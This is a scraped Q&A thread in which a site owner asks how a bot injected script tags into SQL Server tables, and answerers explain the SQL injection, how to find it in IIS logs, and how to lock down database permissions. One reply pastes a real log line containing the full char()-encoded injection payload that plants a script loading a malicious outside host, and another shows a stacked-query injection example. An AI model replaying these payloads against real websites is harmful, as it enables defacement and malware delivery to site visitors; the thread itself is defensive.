Has anyone found out how this was done? SQL Injection
Since so many other websites have been hit I have to assume it is a bot!
It has injected a script with:
Yesterday: http://google-stats50.info/ur.php
Today: http://google-stats49.info/ur.php
It injected it into multiple tables.
First, how did it identify the tables and columns?
Second, what should I search for in the logs to identify the source page?
We do not have ftp on any of our servers. We have 1 contact form but it is email and not even connected to 开发者_如何学Pythonthe database.
We are using SQL Server and IIS.
You probably have a page that is not validating/sanitizing user input. TextBoxes and QueryStrings that are used to provide parameters to a SQL Query are a commonly exploited in a SQL Injection attack (there are other ways as well though...). In addition to this you are probably not using parameterized queries when you access the database.
This will lead to a world of hurt.
They most likely figured out your database structure by querying the system tables:
SELECT *
FROM sys.Tables
And the column names:
SELECT *
FROM sys.columns
Some links you should look at:
- Input Validation
- Parameterized Queries
- SQL Injection prevention
If this were my website I would drop EVERYTHING until the site had been secured. Your site and database are in grave danger.
This particular attack unlike some from the past which would loop through the system objects table is done by analyzing your error pages then constructing new update queries which specifically target the known tables and fiels.
You can find the Hole by looking in your webserver logs. Look for "cast(" which can be found in most if not all sql injection attacks.
Below is an example of some of the data taken from my log so you can see what is being done.
Good Luck
2010-09-23 10:30:16 W3SVC1302398943 DM100 192.168.12.10 GET /search/List.cfm D_Dealer_GUID=3f8722ff-6f72-4530-a953-09c39dd389601'+update+q_ntd+set+Body=cast(Body+as+varchar(8000))%2Bcast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(52)%2Bchar(57)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000))-- 80 - 77.78.239.56 HTTP/1.1 Mozilla/5.0+(Windows;+U;+Windows+NT+5.0;+en-US;+rv:
What he is doing is looking for ".asp?product-id=" on the web and using it to inject. The guy above should be canonized and sent to Rome. This is how you can deal with this:
- Go onto your windows Web Server.
- Go to search.
- Do a search on the contents within a file. Look for "cast("
- If he's in one of your sites, it will show up in the log in the search.
- Open the log in wordpad. Do a find on "cast("
- You'll know it when you see it. It's an obvious hack. It doesn't have to be an Update statement. This injection is against a select statement. Write down the page name.
- Go into MS SQL console.
- Create a server role. Call it database-read or whatever.
- Go into your database, in the console. Flip down security.
- Find the role. Give it databese reader and denywirter privledges.
- Download your web page.
- Change the connection string from sa (or whatever) to database-read. Make sure it has read only privledges and nothing else.
- Test you page.
- Go into IIS and turn off error messaging for your site as follows. Get properties on the site, choose home directory, click configuration, click the debugging tab. Turn error messaging off.
That should protect your site (hopefully).
Do any query string parameters on your site feed directly into the database? I had a similar occurrence a few years ago - very similar SQL injection, script went into multiple tables, multiple columns. Turned out we were using a numeric field directly from the query string with no input filtering (oops on our part) that allowed the attacker to do something like this:
SELECT a, b, c FROM table WHERE d = 0; UPDATE table SET col = 'script'; --
Where the put "0; UPDATE table SET col = 'script'; --" into the query string.
I don't know the details of this specific hack.
If it's anything like the attempts I was seeing a couple of years ago though this link will help explain
- How they did it.
- What to look for in the IIS Logs to identify the problem web page(s)
精彩评论